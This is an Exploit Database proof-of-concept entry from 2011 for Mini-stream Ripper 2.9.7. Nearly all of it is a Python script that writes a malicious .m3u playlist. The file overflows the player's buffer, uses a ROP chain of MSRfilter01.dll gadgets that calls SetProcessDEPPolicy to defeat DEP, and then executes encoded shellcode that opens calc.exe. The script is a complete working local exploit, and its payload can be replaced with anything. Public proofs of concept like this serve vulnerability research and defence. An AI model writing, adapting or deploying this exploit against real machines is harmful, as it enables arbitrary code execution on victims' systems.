Mini-stream Ripper 2.9.7 – DEP Bypass

• Exploit Database
• 16 阅读

• 作者： blake
  日期： 2011-09-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17847/

• # written to bypass OptIn/OptOut DEP policy
  # tested on windows xp sp3 running in virtualbox
  import sys
  
  print "\n============================"
  print "Mini-Stream 2.9.7 DEP Bypass"
  print "Written by Blake"
  print " Tested on Windows XP SP3 "
  print "============================\n"
   
  # calc.exe
  shellcode =(
  "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
  "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
  "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
  "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
  "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
  "\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
  "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
  "\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
  "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
  "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
  "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
  "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
  "\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
  "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
  "\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
  "\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
  "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
  "\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
  "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
  "\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
  "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
  "\x4e\x46\x43\x36\x42\x50\x5a")
   
  buffer = "\x41" * 26084
  eip = "\x95\x3a\x02\x10"	# RETN - MSRfilter01.dll
  rop = "\x41" * 4			# compensate
  rop += "\x54\x30\x01\x10"	# POP EBX, RETN - MSRfilter01.dll
  rop += "\xff\xff\xff\xff"
  rop += "\x23\xda\x02\x10"	# INC EBX, FPATAN, RETN - MSRfilter01.dll
  rop += "\x8f\xaf\x01\x10"	# POP EBP, RETN - MSRfilter01.dll
  rop += "\xa4\x22\x86\x7c"	# SetProcessDEPPolicy
  rop += "\x8f\xf4\x01\x10"	# POP EDI, RETN - MSRfilter01.dll
  rop += "\x90\xf4\x01\x10"	# RETN - MSRfilter01.dll
  rop += "\xd5\x13\x01\x10"	# POP ESI, RETN - MSRfilter01.dll
  rop += "\x90\xf4\x01\x10"	# RETN - MSRfilter01.dll
  rop += "\x63\xf5\x01\x10"	# PUSHAD, RETN - MSRfilter01.dll
  nops = "\x90" * 100
  junk = "\x43" * (4000 - len(shellcode + nops + rop))
  
  
  print "[+] Creating malicious .m3u file"
  try:
  file = open("exploit.m3u","w")
  file.write(buffer + eip + rop + nops + shellcode + junk)
  file.close()
  print "[+] File created"
  except:
  print "[x] Could not create file"
   
  raw_input("\nPress any key to exit...\n")